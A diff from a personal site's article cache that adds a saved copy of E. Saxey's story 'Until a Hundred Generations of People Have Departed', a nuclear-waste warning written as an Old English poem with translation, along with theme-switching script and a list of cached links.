const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="http://futurefire.net/2021.58/fiction/until.html"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>2021.58 fiction until</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="http://futurefire.net/2021.58/fiction/until.html" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p class="nav"> | |||
<a href="http://futurefire.net/2021.58/index.html">[Issue 2021.58]</a> | |||
</p> | |||
<h2 id="d118e2203"> | |||
<span id="d118e2205">‘Until a Hundred Generations of People Have Departed’, E. Saxey</span> | |||
</h2> | |||
<p class="quote">Illustrations © 2021 <a href="http://futurefire.net/artists/index.html#cmatthey">Cécile Matthey</a> | |||
</p> | |||
<hr class="divide"> | |||
<p id="d118e2224"> | |||
<img border="0" src="http://futurefire.net/images/cm-until1.jpg" class="wrapleft" alt=" [ Sandia tablet #1 in situ, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #1 in situ, ©2021 Cécile Matthey ] "> | |||
<strong>Old English</strong> | |||
</p> | |||
<p id="d118e2233">Hwaet! Þēos moldstōw is ǣrende | |||
<br>innan mynegunga webbgeweorce. | |||
<br>Wē besendon þis wærword, | |||
<br>bealospell nīedmicel. | |||
<br>Wē beþōhton ūre þēode | |||
<br>þrȳþswīþe, unlȳtle eormenstrȳnde.</p> | |||
<p id="d118e2246">Hēr nis nān ellendǣd gemyndgod, | |||
<br>ne ealdgestrēon bedolfen | |||
<br>ne foresetl, ne frēolsstōw. | |||
<br>Wē forhtedon ond hatodon hwæt is hēr.</p> | |||
<p id="d118e2255">Þis bealospell warnaþ | |||
<br>þaet wælfȳr wiext | |||
<br>tō middewearde; | |||
<br>hēr rihtlīce is sēo ælemidde. | |||
<br>Wē hit hrusan heolstre bewrigon. | |||
<br>Hit hæfþ hēanesse ond langnesse.</p> | |||
<p id="d118e2268">Hēr wunað giet se wælcræft | |||
<br>nū swā swā on ūrum dagum. | |||
<br>Sēo frecennes frēcnaþ bānhūs | |||
<br>ond fordōn mǣg. | |||
<br>Sē bealo glēwþ, | |||
<br>brǣdeþ tō ūtwearde. | |||
<br>Gif gē delfen ond drefen | |||
<br>dryhtenbealu gē onbinden.</p> | |||
<p id="d118e2286">Forbūgaþ þās moldstōwe | |||
<br>ond manlēase þā gerȳmaþ</p> | |||
<hr class="divide"> | |||
<p class="title"> | |||
<img border="0" src="http://futurefire.net/images/cm-until2.jpg" class="" alt=" [ Sandia tablet #2 secondary deposit, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #2 secondary deposit, ©2021 Cécile Matthey ] "> | |||
</p> | |||
<hr class="divide"> | |||
<p id="d118e2302"> | |||
<img border="0" src="http://futurefire.net/images/cm-until3.jpg" class="wrapright" alt=" [ Sandia tablet #3 draftsperson’s sketch, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #3 draftsperson’s sketch, ©2021 Cécile Matthey ] "> | |||
<strong>Translation</strong> | |||
</p> | |||
<p id="d118e2310">Listen! This sepulchre is a message | |||
<br>Within a web of warnings. | |||
<br>We sent this warning, | |||
<br>A baleful, urgent message. | |||
<br>We thought our people | |||
<br>Exceedingly powerful, a great generation.</p> | |||
<p id="d118e2323">Here is no honourable deed commemorated, | |||
<br>Nor ancient treasure buried | |||
<br>Nor high seat of honor nor festival ground. | |||
<br>We feared and hated what is here. </p> | |||
<p id="d118e2333">This dire message warns | |||
<br>That deathly fire grows greater | |||
<br>Towards the middle; | |||
<br>Right here is the center. | |||
<br>We hid it in the darkness of the earth. | |||
<br>It has height and length.</p> | |||
<p id="d118e2346">The deadly power still dwells here | |||
<br>Now, just as in our time. | |||
<br>The danger threatens the body | |||
<br>And may kill | |||
<br>The malice glows, | |||
<br>Broadening outwards. | |||
<br>If you dig and disturb | |||
<br>You will unbind great misery.</p> | |||
<p id="d118e2364">Shun this tomb | |||
<br>And leave it uninhabited.</p> | |||
<hr class="divide"> | |||
<p class="title"> | |||
<img border="0" src="http://futurefire.net/images/cm-until4.jpg" class="" alt=" [ Sandia tablet #4 display, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #4 display, ©2021 Cécile Matthey ] "> | |||
</p> | |||
<p class="quote">© 2021 E. Saxey</p> | |||
<p class="nav"> | |||
<a href="http://futurefire.net/2021.58/index.html">[Issue 2021.58]</a> | |||
</p> | |||
<p> | |||
<a href="http://press.futurefire.net/2021/07/new-issue-202158.html">Comment on the stories in this issue on the TFF Press blog.</a> | |||
</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,107 @@ | |||
title: 2021.58 fiction until | |||
url: http://futurefire.net/2021.58/fiction/until.html | |||
hash_url: f3a292e38cc775f66adcd3e876baf082 | |||
<p class="nav"> | |||
<a href="http://futurefire.net/2021.58/index.html">[Issue 2021.58]</a> | |||
</p> | |||
<h2 id="d118e2203"> | |||
<span id="d118e2205">‘Until a Hundred Generations of People Have Departed’, E. Saxey</span> | |||
</h2> | |||
<p class="quote">Illustrations © 2021 <a href="http://futurefire.net/artists/index.html#cmatthey">Cécile Matthey</a> | |||
</p> | |||
<hr class="divide"> | |||
<p id="d118e2224"> | |||
<img border="0" src="http://futurefire.net/images/cm-until1.jpg" class="wrapleft" alt=" [ Sandia tablet #1 in situ, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #1 in situ, ©2021 Cécile Matthey ] "> | |||
<strong>Old English</strong> | |||
</p> | |||
<p id="d118e2233">Hwaet! Þēos moldstōw is ǣrende | |||
<br>innan mynegunga webbgeweorce. | |||
<br>Wē besendon þis wærword, | |||
<br>bealospell nīedmicel. | |||
<br>Wē beþōhton ūre þēode | |||
<br>þrȳþswīþe, unlȳtle eormenstrȳnde.</p> | |||
<p id="d118e2246">Hēr nis nān ellendǣd gemyndgod, | |||
<br>ne ealdgestrēon bedolfen | |||
<br>ne foresetl, ne frēolsstōw. | |||
<br>Wē forhtedon ond hatodon hwæt is hēr.</p> | |||
<p id="d118e2255">Þis bealospell warnaþ | |||
<br>þaet wælfȳr wiext | |||
<br>tō middewearde; | |||
<br>hēr rihtlīce is sēo ælemidde. | |||
<br>Wē hit hrusan heolstre bewrigon. | |||
<br>Hit hæfþ hēanesse ond langnesse.</p> | |||
<p id="d118e2268">Hēr wunað giet se wælcræft | |||
<br>nū swā swā on ūrum dagum. | |||
<br>Sēo frecennes frēcnaþ bānhūs | |||
<br>ond fordōn mǣg. | |||
<br>Sē bealo glēwþ, | |||
<br>brǣdeþ tō ūtwearde. | |||
<br>Gif gē delfen ond drefen | |||
<br>dryhtenbealu gē onbinden.</p> | |||
<p id="d118e2286">Forbūgaþ þās moldstōwe | |||
<br>ond manlēase þā gerȳmaþ</p> | |||
<hr class="divide"> | |||
<p class="title"> | |||
<img border="0" src="http://futurefire.net/images/cm-until2.jpg" class="" alt=" [ Sandia tablet #2 secondary deposit, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #2 secondary deposit, ©2021 Cécile Matthey ] "> | |||
</p> | |||
<hr class="divide"> | |||
<p id="d118e2302"> | |||
<img border="0" src="http://futurefire.net/images/cm-until3.jpg" class="wrapright" alt=" [ Sandia tablet #3 draftsperson’s sketch, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #3 draftsperson’s sketch, ©2021 Cécile Matthey ] "> | |||
<strong>Translation</strong> | |||
</p> | |||
<p id="d118e2310">Listen! This sepulchre is a message | |||
<br>Within a web of warnings. | |||
<br>We sent this warning, | |||
<br>A baleful, urgent message. | |||
<br>We thought our people | |||
<br>Exceedingly powerful, a great generation.</p> | |||
<p id="d118e2323">Here is no honourable deed commemorated, | |||
<br>Nor ancient treasure buried | |||
<br>Nor high seat of honor nor festival ground. | |||
<br>We feared and hated what is here. </p> | |||
<p id="d118e2333">This dire message warns | |||
<br>That deathly fire grows greater | |||
<br>Towards the middle; | |||
<br>Right here is the center. | |||
<br>We hid it in the darkness of the earth. | |||
<br>It has height and length.</p> | |||
<p id="d118e2346">The deadly power still dwells here | |||
<br>Now, just as in our time. | |||
<br>The danger threatens the body | |||
<br>And may kill | |||
<br>The malice glows, | |||
<br>Broadening outwards. | |||
<br>If you dig and disturb | |||
<br>You will unbind great misery.</p> | |||
<p id="d118e2364">Shun this tomb | |||
<br>And leave it uninhabited.</p> | |||
<hr class="divide"> | |||
<p class="title"> | |||
<img border="0" src="http://futurefire.net/images/cm-until4.jpg" class="" alt=" [ Sandia tablet #4 display, ©2021 Cécile Matthey ] " title=" [ Sandia tablet #4 display, ©2021 Cécile Matthey ] "> | |||
</p> | |||
<p class="quote">© 2021 E. Saxey</p> | |||
<p class="nav"> | |||
<a href="http://futurefire.net/2021.58/index.html">[Issue 2021.58]</a> | |||
</p> | |||
<p> | |||
<a href="http://press.futurefire.net/2021/07/new-issue-202158.html">Comment on the stories in this issue on the TFF Press blog.</a> | |||
</p> |
@@ -71,50 +71,88 @@ | |||
<li><a href="/david/cache/2022/d4ae86dd75af3abc8b65953e7d3ca832/" title="Accès à l’article dans le cache local : ★ Children of the Hyperlink">★ Children of the Hyperlink</a> (<a href="https://buttondown.email/robinrendle/archive/children-of-the-hyperlink/" title="Accès à l’article original distant : ★ Children of the Hyperlink">original</a>)</li> | |||
<li><a href="/david/cache/2022/91078de938da3b77cff57427da41dc11/" title="Accès à l’article dans le cache local : How Websites Die">How Websites Die</a> (<a href="https://notebook.wesleyac.com/how-websites-die/" title="Accès à l’article original distant : How Websites Die">original</a>)</li> | |||
<li><a href="/david/cache/2022/73c1cc8ed70f3b78bb9f8d2f108b7754/" title="Accès à l’article dans le cache local : ⭕️ Signals • Buttondown">⭕️ Signals • Buttondown</a> (<a href="https://buttondown.email/robinrendle/archive/signals/" title="Accès à l’article original distant : ⭕️ Signals • Buttondown">original</a>)</li> | |||
<li><a href="/david/cache/2022/539f9f951e0d3ba9024f3b837941372f/" title="Accès à l’article dans le cache local : Ce qui compte">Ce qui compte</a> (<a href="https://olivier.thereaux.net/2021/Ce-qui-compte/" title="Accès à l’article original distant : Ce qui compte">original</a>)</li> | |||
<li><a href="/david/cache/2022/0a53d8dedc371884d16f45bcb349b418/" title="Accès à l’article dans le cache local : BALLAST • QUE FAIRE ?">BALLAST • QUE FAIRE ?</a> (<a href="https://www.revue-ballast.fr/que-faire/" title="Accès à l’article original distant : BALLAST • QUE FAIRE ?">original</a>)</li> | |||
<li><a href="/david/cache/2022/65e0c481f692260299c53e9713339f53/" title="Accès à l’article dans le cache local : Ce dont nous avons (vraiment) besoin">Ce dont nous avons (vraiment) besoin</a> (<a href="https://www.monde-diplomatique.fr/2017/02/KEUCHEYAN/57134" title="Accès à l’article original distant : Ce dont nous avons (vraiment) besoin">original</a>)</li> | |||
<li><a href="/david/cache/2022/622620656409b4f687cab890288a0a01/" title="Accès à l’article dans le cache local : Who can be the Netflix of ghost kitchens?">Who can be the Netflix of ghost kitchens?</a> (<a href="https://interconnected.org/home/2022/01/24/meme_meals" title="Accès à l’article original distant : Who can be the Netflix of ghost kitchens?">original</a>)</li> | |||
<li><a href="/david/cache/2022/987e2e450e3e88d0d6d18ec6e6a44b95/" title="Accès à l’article dans le cache local : Habiter sans posséder, tel est l’antidote">Habiter sans posséder, tel est l’antidote</a> (<a href="https://revoirleslucioles.org/habiter-sans-posseder-tel-est-lantidote/" title="Accès à l’article original distant : Habiter sans posséder, tel est l’antidote">original</a>)</li> | |||
<li><a href="/david/cache/2022/cb9e84580f4cb201995be13a7df2117b/" title="Accès à l’article dans le cache local : Gemini is Solutionism at its Worst">Gemini is Solutionism at its Worst</a> (<a href="https://マリウス.com/gemini-is-solutionism-at-its-worst/" title="Accès à l’article original distant : Gemini is Solutionism at its Worst">original</a>)</li> | |||
<li><a href="/david/cache/2022/8a9c9c7aa6a17b8203e2ee289a5e2ffa/" title="Accès à l’article dans le cache local : Coremuneration - Movilab.org">Coremuneration - Movilab.org</a> (<a href="https://movilab.org/wiki/Coremuneration" title="Accès à l’article original distant : Coremuneration - Movilab.org">original</a>)</li> | |||
<li><a href="/david/cache/2022/c4af28e3e148b7fd23ccb06e3a3f0358/" title="Accès à l’article dans le cache local : Nos morts ne vous sont pas dues">Nos morts ne vous sont pas dues</a> (<a href="https://www.jefklak.org/nos-morts-ne-vous-sont-pas-dues/" title="Accès à l’article original distant : Nos morts ne vous sont pas dues">original</a>)</li> | |||
<li><a href="/david/cache/2022/77e068f6681c5054ef9871e8102f3236/" title="Accès à l’article dans le cache local : Winnie Lim » out of control">Winnie Lim » out of control</a> (<a href="https://winnielim.org/journal/out-of-control/" title="Accès à l’article original distant : Winnie Lim » out of control">original</a>)</li> | |||
<li><a href="/david/cache/2022/a26f276782ba59d80e70fb4371713309/" title="Accès à l’article dans le cache local : The Optional Chaining Operator, “Modern” Browsers, and My Mom">The Optional Chaining Operator, “Modern” Browsers, and My Mom</a> (<a href="https://blog.jim-nielsen.com/2022/a-web-for-all/" title="Accès à l’article original distant : The Optional Chaining Operator, “Modern” Browsers, and My Mom">original</a>)</li> | |||
<li><a href="/david/cache/2022/d7aa31b1b2a781330df24fe71c19166c/" title="Accès à l’article dans le cache local : Keeping Gemini Difficult">Keeping Gemini Difficult</a> (<a href="https://memex.marginalia.nu/log/35-keeping-gemini-difficult.gmi" title="Accès à l’article original distant : Keeping Gemini Difficult">original</a>)</li> | |||
<li><a href="/david/cache/2022/9b22b9e02073904986f4c33a75d90918/" title="Accès à l’article dans le cache local : cailloux n°79 : l’asolitude">cailloux n°79 : l’asolitude</a> (<a href="https://cailloux.substack.com/p/cailloux-n79-lasolitude" title="Accès à l’article original distant : cailloux n°79 : l’asolitude">original</a>)</li> | |||
<li><a href="/david/cache/2022/099887889751a8432b4ab9ce7edc3bfa/" title="Accès à l’article dans le cache local : Éduquer au numérique d’accord. Mais pas n’importe lequel et pas n’importe comment">Éduquer au numérique d’accord. Mais pas n’importe lequel et pas n’importe comment</a> (<a href="https://louisderrac.com/2021/11/03/eduquer-au-numerique-daccord-mais-pas-nimporte-lequel-et-pas-nimporte-comment/" title="Accès à l’article original distant : Éduquer au numérique d’accord. Mais pas n’importe lequel et pas n’importe comment">original</a>)</li> | |||
<li><a href="/david/cache/2022/393a69cbefc7e1642bae86080e6fc8c4/" title="Accès à l’article dans le cache local : Is the madness ever going to end?">Is the madness ever going to end?</a> (<a href="https://unixsheikh.com/articles/is-the-madness-ever-going-to-end.html" title="Accès à l’article original distant : Is the madness ever going to end?">original</a>)</li> | |||
<li><a href="/david/cache/2022/0d024905896d89f8bd499e2a6170b59e/" title="Accès à l’article dans le cache local : What’s Really Going On Inside Your node_modules Folder?">What’s Really Going On Inside Your node_modules Folder?</a> (<a href="https://socket.dev/blog/inside-node-modules" title="Accès à l’article original distant : What’s Really Going On Inside Your node_modules Folder?">original</a>)</li> | |||
<li><a href="/david/cache/2022/f3a292e38cc775f66adcd3e876baf082/" title="Accès à l’article dans le cache local : 2021.58 fiction until">2021.58 fiction until</a> (<a href="http://futurefire.net/2021.58/fiction/until.html" title="Accès à l’article original distant : 2021.58 fiction until">original</a>)</li> | |||
<li><a href="/david/cache/2022/0c0894907925eae954987d98c9e8136b/" title="Accès à l’article dans le cache local : Why I Quit Tech and Became a Therapist">Why I Quit Tech and Became a Therapist</a> (<a href="http://glench.com/WhyIQuitTechAndBecameATherapist/" title="Accès à l’article original distant : Why I Quit Tech and Became a Therapist">original</a>)</li> | |||
<li><a href="/david/cache/2022/053b5d423df20fa4e7978174d91d41bb/" title="Accès à l’article dans le cache local : Making Gemini Easy">Making Gemini Easy</a> (<a href="https://proxy.vulpes.one/gemini/tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi" title="Accès à l’article original distant : Making Gemini Easy">original</a>)</li> | |||
<li><a href="/david/cache/2022/7591561f82b6ec5b32ead9df89a11c15/" title="Accès à l’article dans le cache local : Pourquoi Poutine a déjà perdu la guerre">Pourquoi Poutine a déjà perdu la guerre</a> (<a href="https://legrandcontinent.eu/fr/2022/02/27/pourquoi-poutine-a-deja-perdu-la-guerre/" title="Accès à l’article original distant : Pourquoi Poutine a déjà perdu la guerre">original</a>)</li> | |||
<li><a href="/david/cache/2022/3a929cba1a057771e1778ee9dc3e300a/" title="Accès à l’article dans le cache local : Wolf packs don’t actually have alpha males and alpha females, the idea is based on a misunderstanding">Wolf packs don’t actually have alpha males and alpha females, the idea is based on a misunderstanding</a> (<a href="https://phys.org/news/2021-04-wolf-dont-alpha-males-females.html" title="Accès à l’article original distant : Wolf packs don’t actually have alpha males and alpha females, the idea is based on a misunderstanding">original</a>)</li> | |||
<li><a href="/david/cache/2022/86a502931562f5a88120be5ae903b67a/" title="Accès à l’article dans le cache local : An African view of what’s happening in Europe">An African view of what’s happening in Europe</a> (<a href="https://www.opendemocracy.net/en/5050/an-african-view-of-whats-happening-in-europe/" title="Accès à l’article original distant : An African view of what’s happening in Europe">original</a>)</li> | |||
<li><a href="/david/cache/2022/21c1a3b62ce222105d72ada4802bdd4e/" title="Accès à l’article dans le cache local : Wrap Up and Q&A - Jacob Kaplan-Moss">Wrap Up and Q&A - Jacob Kaplan-Moss</a> (<a href="https://jacobian.org/2022/jan/6/wst-wrap-up/" title="Accès à l’article original distant : Wrap Up and Q&A - Jacob Kaplan-Moss">original</a>)</li> | |||
<li><a href="/david/cache/2022/20648a9bc173f75256ae9d5f196fd913/" title="Accès à l’article dans le cache local : The happiest number I've heard in ages">The happiest number I've heard in ages</a> (<a href="https://billmckibben.substack.com/p/the-happiest-number-ive-heard-in" title="Accès à l’article original distant : The happiest number I've heard in ages">original</a>)</li> | |||
<li><a href="/david/cache/2022/69acddf6a1f953e130ab2b36960568b7/" title="Accès à l’article dans le cache local : Le disque vinyle : débunkage">Le disque vinyle : débunkage</a> (<a href="https://blog.cybergrunge.dev/le-disque-vinyle-debunkage" title="Accès à l’article original distant : Le disque vinyle : débunkage">original</a>)</li> | |||
<li><a href="/david/cache/2022/1ed0450ac39a1bbfebf1a6bbbe6f3532/" title="Accès à l’article dans le cache local : Top 9 UX Trends to Watch out in 2022">Top 9 UX Trends to Watch out in 2022</a> (<a href="https://uxplanet.org/top-9-ux-trends-to-watch-ut-in-2022-9dfc1eeb25a8" title="Accès à l’article original distant : Top 9 UX Trends to Watch out in 2022">original</a>)</li> | |||
<li><a href="/david/cache/2022/5fc3445b27f0ee637d66035734c6bea6/" title="Accès à l’article dans le cache local : Aperçu #02 - quaternum.net">Aperçu #02 - quaternum.net</a> (<a href="https://www.quaternum.net/2022/01/15/apercu-02/" title="Accès à l’article original distant : Aperçu #02 - quaternum.net">original</a>)</li> | |||
<li><a href="/david/cache/2022/d9ff2d3ee678b7de12c1a4e6d521ca35/" title="Accès à l’article dans le cache local : That Wild Ask A Manager Story">That Wild Ask A Manager Story</a> (<a href="https://jacobian.org/2022/feb/14/that-wild-aam-story/" title="Accès à l’article original distant : That Wild Ask A Manager Story">original</a>)</li> | |||
<li><a href="/david/cache/2022/af26cb6361904f154ea71e2c5b2271cc/" title="Accès à l’article dans le cache local : nostr - Notes and Other Stuff Transmitted by Relays">nostr - Notes and Other Stuff Transmitted by Relays</a> (<a href="https://github.com/fiatjaf/nostr" title="Accès à l’article original distant : nostr - Notes and Other Stuff Transmitted by Relays">original</a>)</li> | |||
<li><a href="/david/cache/2022/4525ebd31ecd7bc978fbe0ad464824a3/" title="Accès à l’article dans le cache local : Tools for Communicating Offline and in Difficult Circumstances">Tools for Communicating Offline and in Difficult Circumstances</a> (<a href="https://www.complete.org/tools-for-communicating-offline-and-in-difficult-circumstances/" title="Accès à l’article original distant : Tools for Communicating Offline and in Difficult Circumstances">original</a>)</li> | |||
<li><a href="/david/cache/2022/31293aa75259e6e704ec714b5a4712cf/" title="Accès à l’article dans le cache local : Ukraine. Para Bellum Numericum. Chronique du versant numérique d'une guerre au 21ème siècle.">Ukraine. Para Bellum Numericum. Chronique du versant numérique d'une guerre au 21ème siècle.</a> (<a href="https://www.affordance.info/mon_weblog/2022/02/guerre-ukraine-numerique.html" title="Accès à l’article original distant : Ukraine. Para Bellum Numericum. Chronique du versant numérique d'une guerre au 21ème siècle.">original</a>)</li> | |||
<li><a href="/david/cache/2022/62f9f5083de61124ed4d9fe1b458d505/" title="Accès à l’article dans le cache local : Programming for kids">Programming for kids</a> (<a href="https://github.com/jackdoe/programming-for-kids" title="Accès à l’article original distant : Programming for kids">original</a>)</li> | |||
<li><a href="/david/cache/2022/94210cf35e7b73fcf5d3ab3c20acc1c6/" title="Accès à l’article dans le cache local : cailloux n°96 : rêver sincèrement">cailloux n°96 : rêver sincèrement</a> (<a href="https://cailloux.substack.com/p/96-rever-sincerement" title="Accès à l’article original distant : cailloux n°96 : rêver sincèrement">original</a>)</li> | |||
<li><a href="/david/cache/2022/a4f881156c5d4841f7362f94b51d10b7/" title="Accès à l’article dans le cache local : $7 Tent Heater Provides Comfort On A Budget">$7 Tent Heater Provides Comfort On A Budget</a> (<a href="https://hackaday.com/2022/01/06/7-tent-heater-provides-comfort-on-a-budget/" title="Accès à l’article original distant : $7 Tent Heater Provides Comfort On A Budget">original</a>)</li> | |||
<li><a href="/david/cache/2022/0d734a1e83d3188bb008a057aadd4a74/" title="Accès à l’article dans le cache local : ☕️ Journal : Faire équipe">☕️ Journal : Faire équipe</a> (<a href="https://oncletom.io/2022/01/30/faire-equipe/" title="Accès à l’article original distant : ☕️ Journal : Faire équipe">original</a>)</li> | |||
<li><a href="/david/cache/2022/87b3d4be1d7a1e72be8d411a0eb59249/" title="Accès à l’article dans le cache local : Les Jazzettes #20">Les Jazzettes #20</a> (<a href="https://jazzettes.substack.com/p/les-jazzettes-20" title="Accès à l’article original distant : Les Jazzettes #20">original</a>)</li> | |||
<li><a href="/david/cache/2022/c0e7ed5590b520f176aacfd76ae03188/" title="Accès à l’article dans le cache local : Mechanical Ragger: Print typesetting for the web">Mechanical Ragger: Print typesetting for the web</a> (<a href="https://oak.is/thinking/mechanical-ragger/" title="Accès à l’article original distant : Mechanical Ragger: Print typesetting for the web">original</a>)</li> | |||
<li><a href="/david/cache/2022/eafb714078643eddfcc2d7de9982bd3b/" title="Accès à l’article dans le cache local : Understanding UUIDs, ULIDs and String Representations">Understanding UUIDs, ULIDs and String Representations</a> (<a href="https://sudhir.io/uuids-ulids" title="Accès à l’article original distant : Understanding UUIDs, ULIDs and String Representations">original</a>)</li> | |||
<li><a href="/david/cache/2022/7377c68e2b48f5c923542cefec391549/" title="Accès à l’article dans le cache local : Compte-rendu de voyage : Le samedi 5 février à Ottawa">Compte-rendu de voyage : Le samedi 5 février à Ottawa</a> (<a href="https://mtlcontreinfo.org/compte-rendu-de-voyage-le-samedi-5-fevrier-a-ottawa/" title="Accès à l’article original distant : Compte-rendu de voyage : Le samedi 5 février à Ottawa">original</a>)</li> | |||
<li><a href="/david/cache/2022/63c624eb03143c963380f527b7b5ca0f/" title="Accès à l’article dans le cache local : Brasserie du Vieux Singe — Transformation en SCOP">Brasserie du Vieux Singe — Transformation en SCOP</a> (<a href="https://www.vieuxsinge.com/transformation-en-scop.html" title="Accès à l’article original distant : Brasserie du Vieux Singe — Transformation en SCOP">original</a>)</li> | |||
</ul> | |||
</main> | |||